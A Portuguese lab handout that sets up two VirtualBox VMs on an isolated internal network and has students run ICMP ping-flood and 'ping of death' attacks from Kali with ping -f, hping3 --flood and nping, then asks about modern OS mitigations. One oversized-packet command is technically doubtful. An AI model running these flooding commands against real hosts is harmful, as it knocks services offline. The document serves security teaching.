

LAB 02 – Simulação de Ataque de Ping Flood

Método Recomendado: Rede Interna (Rede Privada entre VMs)

Este método é ideal para comunicação **apenas entre as VMs**, sem acesso à internet ou rede externa.

Passo a Passo:

1. **Desligue as VMs** antes de alterar as configurações.
2. **Abra as Configurações de Rede** de cada VM no VirtualBox:
 - Selecione a VM → **Configurações** → **Rede**.
3. **Defina o Adaptador 1** em ambas as VMs para:
 - **Modo de Rede:** Rede Interna
 - **Nome da Rede:** (Ex.: rede-vms, deve ser igual nas duas VMs)
4. **Inicie as VMs** e configure um IP estático em cada uma (ou use DHCP se disponível).

Configurar IP Manualmente (Linux/Windows)

No Linux (Ubuntu):

```
sudo ip addr add 192.168.10.1/24 dev enp0s3 # VM1
```

```
sudo ip addr add 192.168.10.2/24 dev enp0s3 # VM2
```

Verifique a comunicação:

```
ping 192.168.10.2 # Teste da VM1 para a VM2
```

No Windows (CMD):

```
netsh interface ip set address "Ethernet" static 192.168.10.1 255.255.255.0 # VM1
```

```
netsh interface ip set address "Ethernet" static 192.168.10.2 255.255.255.0 # VM2
```

Simulação de Ataques

Ataque 1: Ping Flood (Envio Massivo de ICMP)

Objetivo: Sobrecarregar a vítima com pacotes ICMP.

Comando no Kali Linux (Atacante):

```
ping -f 192.168.10.2 # -f = Flood (requer root)
```

ou usando hping3 (mais avançado):

```
sudo hping3 --icmp --flood 192.168.10.2
```

Monitoramento na Vítima:

- **Linux:**

```
sudo top # Verifica recursos como CPU e Memória
```

- **Windows:**

```
ping -t 192.168.10.1 # Se travar, está sob ataque
```

Ataque 2: Ping da Morte (Pacotes ICMP Gigantes)

Objetivo: Enviar pacotes ICMP maiores que 65.535 bytes para travar o sistema.

Comando no Kali (Atacante):

```
sudo ping -s 65540 192.168.10.2 # -s = tamanho do pacote
```

ou com nping (do Nmap):

```
sudo nping --icmp --data-length 65500 192.168.10.2
```

Efeito Esperado:

- Sistemas antigos (ex: Windows 98) podem travar.
- Sistemas modernos **ignoram** ou **reiniciam a conexão**.
- Quais mitigações são realizadas pelos SOs modernos para evitar a indisponibilidade da máquina atacada?